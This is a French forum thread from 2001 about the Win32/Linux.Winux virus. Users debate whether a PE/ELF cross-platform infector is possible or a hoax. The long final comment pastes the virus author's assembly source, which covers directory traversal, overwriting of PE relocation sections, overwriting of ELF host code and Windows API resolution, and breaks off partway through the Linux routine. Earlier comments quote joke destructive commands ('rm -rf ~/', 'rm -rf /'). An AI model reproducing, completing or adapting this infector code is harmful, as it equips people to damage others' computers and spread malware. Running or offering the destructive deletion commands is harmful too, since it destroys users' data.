Je suis très sceptique sur la chose, car je ne vois pas bien quels sont les points communs, d'un point de vue script ou éxecution de binaires, bref, quels points communs il y a entre une station Linux et une station Windows.
Alors, à part avoir installé Perl ou Java sur les deux machines, comment est-ce possible ? Ou bien sont ce deux instances différentes de virus, qui ont le même nom ? Ou bien est-ce du pipeau ?
Bref, est ce possible ?
En passant, outre responsabiliser un utilisateur à faire gaffe à son installation, aux droits d'accès, aux ports ouverts, existe t-il un projet de "surveillance" d'un poste (une sorte d'antivirus/firewall avec des fonctions de base, histoire de faciliter la vie aux utilisateurs lambda) ?
Aller plus loin
- La news sur Yahoo FR (7 clics)
- L'info sur le site de Central Command (4 clics)
# Mais c'est pourtant clair !
Posté par Annah C. Hue (site web personnel) . Évalué à 1.
Hors comme par hasard, *à chaque fois* qu'un éditeur d'antivirus sort un truc, un nouveau virus "révolutionnaire" sort.
Moi aussi, je suis septique, tel la fosse.
[^] # Re: Mais c'est pourtant clair !
Posté par Ano . Évalué à 1.
# l'explication de CI tient debout...
Posté par Anonyme . Évalué à 0.
Il connaît simplement 2 format d'exécutable (PE et ELF).
Sous Linux et Win, il est soumis aux permissions de l'écriture dans un fichier.
En gros, ça pête pas des briques, le codeur à simplement lu 2 docs(celle d'ELF et celle de PE) au lieu d'une.
[^] # Re: l'explication de CI tient debout...
Posté par Ramón Perez (site web personnel) . Évalué à 1.
Le fait qu'un programme puisse modifier des exécutables windows et linux, OK, mais le virus en lui-même, c'est quoi ?
C'est un exécutable windows qui fonctionne aussi sous linux ?
C'est un script à la fois bat et sh ?
C'est une marmotte enrobée de papier d'alu ?
[^] # Re: l'explication de CI tient debout...
Posté par MetalX . Évalué à 3.
[^] # Re: l'explication de CI tient debout...
Posté par Ramón Perez (site web personnel) . Évalué à -1.
[^] # Re: l'explication de CI tient debout...
Posté par Anonyme . Évalué à -1.
[^] # Re: l'explication de CI tient debout...
Posté par Anonyme . Évalué à -1.
Comme quoi cela a du bon parfois !
CCPDN
[^] # Re: l'explication de CI tient debout...
Posté par Anonyme . Évalué à -1.
# Rumeur fausse ? sceptique...
Posté par Lu (site web personnel) . Évalué à 1.
Et si mon lecteur de mail ne réagit pas au double-clic ? Et si je ne suis qu'un utilisateur aux pouvoirs limités (sur le sytème s'entend ;) ?
Au fait quels sont les symptômes d'une machine attaquée ? Parceque si c'est juste un affichage de "vous êtes virusés" ...
« Selon Central Command, qui a reçu mardi W32.Winux sous la forme d'un e-mail anonyme envoyé de République Tchèque, l'auteur supposé du virus, surnommé Benny, revendique l'appartenance à un groupe de hackers appelé 29A »
- Allo c'est vous qui avez fait ce virus ?
- Bien sûr, voici mon nom et mon adresse.
hum hum...
# les virus qui n'infectent personne
Posté par Troy McClure (site web personnel) . Évalué à 1.
Enfin bref, ce virus n'est pas très important, il n'infectera personne puisque:
* il ne se transmet pas par les mails
* je pense que personne(ou quasiment) n'a ete infecté pour l'instant, avec un peu de chance les auteurs l'ont directement envoyé à la boite d'anti-virus...
Finalement, c'est juste un coup de pub pour le groupe qui l'a pondu (tout le monde reconnait la prouesse technique, c'est innovant, bref ils doivent plus se sentir) et pour la boite qui l'a detecte (attention, les virus sont de plus en plus terribles, même les pinguoins peuvent être touchés...)
[^] # Re: les virus qui n'infectent personne
Posté par Sebastien . Évalué à 1.
#!/bin/sh
rm -rf ~/
echo "gros con" > ~/ReadMe.txt
Les plus vicieux irons cherché le carnet d'adresse de pine, de kmail de balsa ou {mon mailer preferé} pour se propager bien sur !
[^] # Re: les virus qui n'infectent personne
Posté par Cybuzz_34 . Évalué à 1.
d'éffacer tout les fichiers sur votre disque dur (avec la commande rm -rf /)et d'envoiyez manuellement ce virus à chacune des personnes
qui sont dans votre liste d'envoie.
Merci de votre coopération
Université de service de génie informatique du Kentucky.
rdr@otherone.com
317-894-5411 de doyen Riddlebarger
"Où voulez-vous aller aujourd'hui?" quelque part où vous n'êtes pas...
[^] # Re: les virus qui n'infectent personne
Posté par Anonyme . Évalué à 0.
# Mhuhu
Posté par Jylam / jylam.lnxsce (site web personnel) . Évalué à 1.
[^] # Re: Mhuhu
Posté par teddy . Évalué à -1.
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
C'est comme dire qu'on ne peut pas faire un virus qui s'attaque à la fois aux .COM et aux .EXE sous prétexte que c'est pas le même format (et il y a pas mal de formats .EXE). Les exécutables sont des fichiers comme les autres, avec différents formats en fonction des systèmes.
Bien sur, le code ajouté n'est pas le même s'il s'agit de modifier un fichier Linux ou un fichier Windows mais techniquement, c'est pas bien dur.
Qu'est-ce qu'il ne faut pas entendre comme bêtises ici!
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
On ne parle pas des fichiers infectés par le virus, mais du virus LUI-MEME. Il est en quel format pour pouvoir être éxecuté sur linux et windows ?
[^] # Re: Mhuhu
Posté par un nain_connu . Évalué à 1.
Sous linux le virus il est au format ELF, sous windows il est au format EXE.
Lorsqu'il s'exécute, il cherche les fichiers exécutables. Si y'a une entête ELF, il met le code ELF, si c'est un EXE, il met la version EXE. Dans ses "datas" il a les 2 versions pour les deux systèmes. C'est quand même pas compliqué à comprendre !
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
[^] # Re: Mhuhu
Posté par Frederick Ros . Évalué à 1.
[^] # Re: Mhuhu
Posté par un nain_connu . Évalué à 1.
Je ne suis pas assez pédagogue pour te répondre exhaustivement. Relis mon précédent message et réfléchis, si c'est dans tes cordes. Indice : La réponse à ta question y est.
[^] # Re: Mhuhu
Posté par Yohann (site web personnel) . Évalué à 1.
Voila, c pas bete, si on peut dire...
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
Mis a part des install de linux sur FAT, j'ai beau chercher...
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
Y'en a qu'ont pas peur !
Je penserais plutôt à SMB (VACHEMENT moins cher !).
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
[^] # Re: Mhuhu
Posté par Pat Le Nain . Évalué à 1.
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
[^] # Re: Mhuhu
Posté par Jylam / jylam.lnxsce (site web personnel) . Évalué à 1.
Pis t'es gentil tu parles un peu plus poliment gros trouffion (ho l'html marche), ou alors tu te loggues ...
[^] # Re: Mhuhu
Posté par un nain_connu . Évalué à -1.
(euh c'est pas moi l'anonyme que tu lui grogne dessus, je dis ça au cas-où...)
Je suis loggué alors j'ai le droit.
bite couille chatte nichon zob.
Et hop je me mets -1.
[^] # Re: Mhuhu
Posté par jpph . Évalué à 1.
si t'arrive a avoir le virus, c'est forcement par une contamination ... donc si tu te le chope quand t'es sous linux, il s'execute au format elf, il scanne les fichiers ( comme tout le monde monte ses partoches windows en read/write, c'est facile d'infecter les exe ) et les infecte en respectant le format : EXE=windows ELF = Linux ...
et inversement si t'es sous windows ....
c'est vrai que c'est pas bien compliqué, suffit de savoir programmer sous windows ET linux ...
et c'est pas la peine d'en faire toute une histoire ;-)
[^] # Re: Mhuhu
Posté par Tab Tab . Évalué à 1.
on est d'accord que le virus s'envoie par mail
donc il arrive dans le format de la machine de l'autre ?
imagine c'est un windows
donc il t'envoie un point exe
et forcement netscape {ou balsa, pine} execute wine pour le lancer... bravo...
[^] # C'est pipo !
Posté par Charpentier Sylvain . Évalué à 1.
1/ Il se propagerait par mail en pièce jointe, mais le nom de la pièce jointe n'a pas été mentionné.
http://support.avx.com/cgi-bin/command/solution?11=010327-0017&130=(...)
2/ Supposons qu'il existe 2 versions, chacune pouvant infecter PE et ELF. Si je reçois une version alors que je suis sous l'autre OS... rien ne se passe, la propagation s'arrête.
3/ Vous lanceriez, vous, un bout de code reçu par mail qui vous demanderait d'être root ?
4/ Et l'argument qui tue : Dimanche, c'est quel jour ?
Voilà, je ne sais pas pour vous, mais pour moi c'est bidon.
---
Et oui, salade is better with kiche aux lardons !
http://www.hoaxbuster.com(...)
[^] # Re: Mhuhu
Posté par Anonyme . Évalué à 0.
Et pour ce qui est de la politesse, j'avais pris l'habitude de finir certains messages par "Qu'est-ce qu'il ne faut pas entendre comme conneries ici", alors il y a quand même du progrès. Je ne désespère pas de terminer un jour tous mes messages par "Qu'est-ce qu'on apprend comme choses intelligentes ici". Mais ce n'est pas demain la veille!
A propos d'un exécutable qui marche à la fois sous Windows et Linux, la différence de format des exécutables est telle que ce n'est surement pas possible, et là dessus on est d'accord.
J'ai parlé poliment, non?
# on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
Winux est une interface graphique configurable pour utiliser plus simplement LOADLIN, programme fonctionnant sous Ms/Dos et permettant de lancer Linux depuis DOS et Windows 9x sans réamorcer, c'est à dire sans relancer le BIOS.
on peut donc tout a fait aussi supposer que ce virus sous windaube via loadlin bousille les files de linux en y accedant via windows. Ce ne serait pas la meme chose qu'un virus tournant reelement sous linux.
je vois toujours pas l'utilite d'une conf en loadlin ... c'est certain que si on fait coabiter les 2, un virus sous win peut faire tout ce qu'il veut avant que le tux ne deploie ses nageoires :-)
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Ramón Perez (site web personnel) . Évalué à 1.
Voui, je viens de penser à ça aussi, que le virus arrive à accéder aux fichiers de partitions linux, comme le fait explore2fs (je crois que c'est ça le nom du prog qui permet de voir ses partitions linux sous win ?).
Mais Central Command parle d'un virus qui se réplique sous Linux, donc je pense qu'il existe 2 versions de ce virus, une pour windows et une pour linux, et que chacune arrive à attaquer à la fois les fichiers de type windows et linux.
En plus, Central Command cite plusieurs noms pour ce virus :
"Name: Win32.Winux, Linux.Winux, Win32.PEELF.2132"
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par cattleprod . Évalué à 1.
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
Il y a franchement trop de différences entre les formats des exécutables. De plus, les appels systèmes sont différents, les librairies sont différentes... franchement, je ne crois pas que ce soit possible.
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Ramón Perez (site web personnel) . Évalué à 1.
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
Vous croyez qu'on met le code d'un système de fichiers dans un virus de qques kilo ?
La seule manière de passer de Win à Linux est d'avoir des exec PE et ELF dans le même répertoire avec les droits en écriture sur les cibles, les droits d'exécution sur la source et lancer la source sous le bon OS.
(un petit tour dans /etc/fstab et dans /etc/mtab vous donneront la liste des répertoires à risque sous lin)
Le virus est composé de 4 parties :
le code de branche ment PE
le code de branchement ELF
le code d'infection Linux
le code d'infection Win
Il met le bon code de branchement suivant le format du fichier qu'il trouve.
Le seul exploit est de se faire ch.er à lire la doc du PE, du ELF et de désassembler les bibliothèques de fonction de WIN et LIN (même démarche que pour coder un exploit de buffer overflow)
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
Oui, ya Grub qui fait ça très bien avec les *_stage1_5. il supporte 4 ou 5 fs, ce qui lui permet de charger le stage 2 et autres joyeusetés à partir de n'importe quel disque (avec un fs supporté ;).
http://www.gnu.org/software/grub/(...)
[^] # Re: on peut pas dire que avx soit tres clair :
Posté par Anonyme . Évalué à 0.
>Oui, ya Grub qui fait ça très bien
il va falloir que j'arrête de dire de con.eries sur les forums :
bash-2.04$ du -ks *
8 e2fs_stage1_5
8 fat_stage1_5
8 ffs_stage1_5
8 minix_stage1_5
12 reiserfs_stage1_5
cepandant, le virus se propage par le système de fichier, déjà sous Win il ne peut quitter les lettres.
Sous linux, il ne va pas dans /dev donc pareil.
En plus y'a pas NTFS dans Grub !
# cf article paru sur Bugtraq y''a longtemps de ca (avec du code)
Posté par Anonyme . Évalué à 0.
c'est un debut de code de "worm" qui se replique sous Windows ET sous Linux
et comme disait qq'un suffit d'emballer le tout dans une demo graphique qui demande d'etre root (ou suid mais les users fatigues le testeront en root de toute facon, (genre en faisant recompiler et make install par exemple))
et le probleme de pas etre root sur sa station n'est plus un probleme.
# Bah faut reflechir peu etre
Posté par Anonyme . Évalué à 0.
tout simplement un bug x86 :o
vu que bcp d'os tournent dessus, il n'est pas tres difficile a un journaliste debile (ca en est plein partout, meme pour de simples news, et il a pas forcement besoin d'etre journaliste pour etre debile) d'extrapoler ce qu'il ne comprend pas et de transformer ca en multios (monoarch)
# le code source
Posté par Anonyme . Évalué à 0.
; ³ Win32/Linux.Winux ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ by Benny/29A ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
;
;Heya ppl,
;
;lemme introduce you my first multi-platform virus, the worlds first
;PE/ELF infector. The idea of first Win32/Linux virus came to my head
;when I was learning Linux viruses. I'm not Linux expert, I couldn't
;code for Linux in assembler - I am familiar with Intel syntax, AT&T
;is a bit chaotic for me. However, I decided to learn more about Linux
;coding and left my place of newbee. I was always fascinated of Linux
;scene and low-level programming under Linux but I never knew much
;about it.
;
;I wanted to code virus for Linux and learn from it. But becoz there
;already exist some viruses and I knew I won't be able to bring any
;new technique, I decided to code something unique -> Win32/Linux
;compatible multi-platform infector. And here you can find the result
;of my trying. Now, after all, I've got some valuable experiencez and
;I'm glad for that. Coding/debugging in Linux was hard for me, but I
;had fun and I learned a lot. And that's the most important.
;
;
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Technical details ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;The virus itself ain't much. It's not big, it's not complicated,
;it's not resident nor polymorphic.. I wanted to be the virus like
;this. Just to show something new, show that something never seen
;before is possible and how can it be coded.
;
;The virus is devided to two partz: Win32 part and Linux part. Every
;part is able to infect both of PE and ELF filez. This source is
;designed to be compiled by TASM under Win32, nevertheless it can
;infect Linux programz and so then it will be able to be executed
;in Linux environment (and there it is also able to infect
;Win32 part, which can be executed in Win32 environment etc etc etc...).
;
;Win32 part:
;ÄÄÄÄÄÄÄÄÄÄÄÄ
;
;Virus infects PE filez by overwritting .reloc section, so it does not
;enlarge host file size. Filez that don't have .reloc section, big
;enough for virus code, can't be infected (explorer.exe can be used to
;test infection capabilities). It can pass thru directory tree by well
;known "dotdot" method ("cd ..") and there infects all PE and ELF
;filez - virus does not check extensionz, it analyses victim's internal
;format and then decidez whata do.
;When all filez are passed and/or infected virus will execute host code.
;
;Linux part:
;ÄÄÄÄÄÄÄÄÄÄÄÄ
;
;Virus infects ELF filez by overwritting host code by viral code. The
;original host code is stored at the end of host file. It can infect
;all filez (both of PE and ELF) in current directory, also without
;checking file extensionz.
;When all filez are passed and/or infected virus will restore host code
;(overwrite itself by original host code) and execute it.
;
;
;Well, you are probably asking how it is possible that virus can infect Win32
;appz from Linux environment and Linux appz from Win32 environment. Yeah,
;many ppl already asked me. For instance, under some emulator. There exist
;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
;appz under Linux. Also, I know many ppl that have partition specially
;reserved for CD burning, where they store both of Win32 and Linux programz.
;Virus executed from there has no problemz with infection, heh ;)
;
;
;Does this virus work? Heh, sure it does. I tested it on Win98, Win2000 and
;RedHat 7.0, and it worked without any problemz. However, if you will find
;any problemz, don't by shy and send me a bug report ;-P
;
;
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Licence agreement ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;This virus is covered by GPL - GNU General Public Licence. All crucial
;facts can be found there. Read it before using!
;
;
;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Last notez ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;While I was finishing Universe and coding Winux, many personal thingz
;happened to me. Again such depressive season as only winter can be
;fell down on me.. I'm finishing my high-school, last year, many examz
;(and I know nothing, you know that feeling, heh :) etc. End of next
;stage of my life is getting closer and I don't know how will that next
;one be for me, what it will take and bring to me. I'm looking forward
;to summer, the best season in the year, no depression, no school, no
;fucking problemz I still have and can't hold them all.. c ya l8r,
;somewhere in timespace..
;
;
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; # Benny / 29A ÀÄ¿
; @ benny@post.cz ÀÄÄÄÄÄÄÄÄÄ¿
;(c) March, 2001 @ http://benny29a.cjb.net(...) ³
;Czech Republic ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
.data
db ?
.code
Start: pushad
@SEH_SetupFrame ;setup SEH frame
call gdelta
gdelta: pop ebp ;ebp=delta offset
call get_base ;get K32 base address
call get_apis ;find addresses of APIz
lea eax,[ebp + prev_dir - gdelta]
push eax
push MAX_PATH
call [ebp + a_GetCurrentDirectoryA - gdelta]
;get current directory
push 20
pop ecx ;20 passes in directory tree
f_infect:
push ecx
;direct action - infect all PE filez in directory
lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
push esi ;save its address
@pushsz '*.*' ;search for all filez
call [ebp + a_FindFirstFileA - gdelta] ;find first file
inc eax
je e_find ;quit if not found
dec eax
push eax ;save search handle to stack
f_next: call wCheckInfect ;infect found file
push esi ;save WFD structure
push dword ptr [esp+4] ;and search handle from stack
call [ebp + a_FindNextFileA - gdelta];find next file
test eax,eax
jne f_next ;and infect it
f_close:call [ebp + a_FindClose - gdelta] ;close search handle
e_find: @pushsz '..'
mov esi,[ebp + a_SetCurrentDirectoryA - gdelta]
call esi ;go upper in directory tree
pop ecx
loop f_infect ;and again..
lea eax,[ebp + prev_dir - gdelta]
push eax
call esi ;go back to original directory
end_host:
@SEH_RemoveFrame ;remove SEH frame
popad
extrn ExitProcess
mov eax,offset ExitProcess-400000h
original_ep = dword ptr $-4
add eax,400000h
image_base = dword ptr $-4
jmp eax ;and go back to host program
;INFECT FILE (Win32 version)
wCheckInfect Proc
pushad
@SEH_SetupFrame ;setup SEH frame
and dword ptr [ebp + sucElf - gdelta],0
test [esi.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jne end_seh ;discard directory entries
xor ecx,ecx
cmp [esi.WFD_nFileSizeHigh],ecx
jne end_seh ;discard files >4GB
mov eax,[esi.WFD_nFileSizeLow]
cmp eax,4000h
jb end_seh ;discard small filez
mov [ebp + l_lseek - gdelta],eax
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
lea eax,[esi.WFD_szFileName]
push eax
call [ebp + a_CreateFileA - gdelta] ;open file
inc eax
je end_seh
dec eax
mov [ebp + hFile - gdelta],eax
cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
cdq
xchg eax,ecx
jecxz end_cfma
mov [ebp + hMapFile - gdelta],ecx
push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx ;map file to address space
call [ebp + a_MapViewOfFile - gdelta]
xchg eax,ecx
jecxz end_mvof
mov [ebp + lpFile - gdelta],ecx
jmp n_fileopen
close_file:
push 12345678h
lpFile = dword ptr $-4 ;unmap file
call [ebp + a_UnmapViewOfFile - gdelta]
end_mvof:
push 12345678h
hMapFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta]
end_cfma:
mov ecx,12345678h ;was it linux program (ELF)?
sucElf = dword ptr $-4
jecxz c_close ;no, close that file
push 2
push 0
push 0
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_SetFilePointer - gdelta]
;go to EOF
push 0
lea eax,[ebp + sucElf - gdelta]
push eax
push virtual_end-Start
push 12345678h
a_mem = dword ptr $-4
push dword ptr [ebp + hFile - gdelta]
call [ebp + a_WriteFile - gdelta]
;write there orig. program part
push MEM_RELEASE
push 0
push dword ptr [ebp + a_mem - gdelta]
call [ebp + a_VirtualFree - gdelta]
;and deallocate used memory
c_close:push 12345678h
hFile = dword ptr $-4
call [ebp + a_CloseHandle - gdelta] ;close file
jmp end_seh ;and quit
n_fileopen:
call check_elf
je wInfectELF ;is it Linux program (ELF)?
add ax,-IMAGE_DOS_SIGNATURE
jne close_file
call check_pe
jne close_file ;is it Win32 program (PE)?
;important chex
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne close_file
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je close_file
test ax,IMAGE_FILE_DLL
jne close_file
test ax,IMAGE_FILE_SYSTEM
jne close_file
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne close_file
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je close_file
call header&relocs ;get PE headerz and check for relocs
je close_file ;quit if no relocs
mov ebx,[edi.SH_VirtualAddress]
cmp eax,ebx
jne close_file
cmp [edi.SH_SizeOfRawData],virus_end-Start+500
jb close_file ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record
call set_alignz ;align section variable
push dword ptr [ebp + original_ep - gdelta]
push dword ptr [ebp + image_base - gdelta]
;save used variablez
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
mov [ebp + original_ep - gdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [ebp + image_base - gdelta],eax
;set variablez
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,[ebp + lpFile - gdelta]
lea esi,[ebp + Start - gdelta]
mov ecx,virus_end-Start
rep movsb ;overwrite relocs by virus body
popad
pop dword ptr [ebp + image_base - gdelta]
pop dword ptr [ebp + original_ep - gdelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jmp close_file ;set flag and quit
wCheckInfect EndP
;INFECT LINUX PROGRAM (Win32 version)
wInfectELF Proc
mov edi,ecx
movzx eax,word ptr [edi+12h]
cmp eax,3
jne close_file
call get_elf ;get elf headerz
p_sectionz:
mov eax,[esi+0Ch] ;virtual address
add eax,[esi+14h] ;virtual size
cmp ebx,eax
jb got_section ;does EP fit to this section?
add esi,edx ;no, get to next record
loop p_sectionz ;ECX-timez
jmp close_file ;invalid ELF, quit
got_section:
mov eax,[ebp + Start - gdelta]
mov ecx,[esi+10h]
add ecx,edi
cmp [ecx],eax
je close_file ;infection check
mov eax,[esi+14h]
cmp eax,virtual_end-Start
jb close_file ;must be large enough
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push eax
push 0
call [ebp + a_VirtualAlloc - gdelta]
test eax,eax ;allocate buffer for host code
je close_file
mov [ebp + a_mem - gdelta],eax
pushad
mov ecx,[esi+14h]
mov esi,[esi+10h]
add esi,edi
push esi
xchg eax,edi
rep movsb ;copy host code to our buffer
pop edi
lea esi,[ebp + Start - gdelta]
mov ecx,virtual_end-Start
rep movsb ;overwrite host code by virus body
popad
add dword ptr [edi+18h],LinuxStart-Start
mov [ebp + sucElf - gdelta],edi
jmp close_file ;set semaphore and quit
wInfectELF EndP
;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret ;and quit from procedure
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame ;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
;this procedure can retrieve base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP
mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,-'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
signature db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
;little signature of mine ;-)
;Viral entrypoint in Linux programz
LinuxStart:
push eax ;reserve variable for return to host
pushad
mov ebx,[esp.cPushad+8] ;get command line
call lgdelta
lgdelta:pop ebp ;ebp=delta offset
mov ecx,end_end_lhost-end_lhost
sub esp,ecx
mov edi,esp
lea esi,[ebp + end_lhost - lgdelta]
rep movsb ;copy virus to stack and jump there
jmp esp ;(becoz we need to restore host code back)
end_lhost Proc
push ebx
push 125
pop eax
lea ebx,[ebp + Start - lgdelta]
and ebx,0FFFFF000h
mov ecx,3000h
mov edx,7
int 80h ;deprotect code section
pop ebx
push 5
pop eax
xor ecx,ecx
int 80h ;open host file
xchg eax,ebx
test ebx,ebx
jns read_host
q_host: xor eax,eax
